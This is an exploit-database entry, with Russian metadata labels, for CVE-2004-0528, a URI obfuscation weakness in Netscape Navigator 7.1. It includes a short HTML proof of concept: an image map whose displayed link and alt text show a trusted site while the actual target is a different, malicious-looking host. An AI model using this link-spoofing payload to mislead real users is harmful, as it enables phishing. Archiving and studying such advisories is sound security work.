Exploit Netscape Navigator 7.1 - Embedded Image URI Obfuscation

[Exploiter]

EDB-ID

24137

Проверка EDB

1. Пройдено

Автор

LYNDON DURHAM

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

cve-2004-0528

Дата публикации

2004-05-19

source: https://www.securityfocus.com/bid/10389/info

It is reported that Netscape Navigator is prone to a URI obfuscation weakness that may hide the true contents of a URI link. The issue occurs when an image is contained within a properly formatted HREF tag.

This weakness could be employed to trick a user into following a malicious link.

An attacker can exploit this issue by supplying a malicious image that appears to be a URI link pointing to a page designed to mimic that of a trusted site. If an unsuspecting victim is to mouseover the link in an attempt to verify the authenticity of where it references, they may be deceived into believing that the link references the actual trusted site. 

<A HREF=http://www.example.com alt="http://www.example.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.example.com"></A>
<map NAME="malware" alt="http://www.example.com">
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.example.com">
</MAP>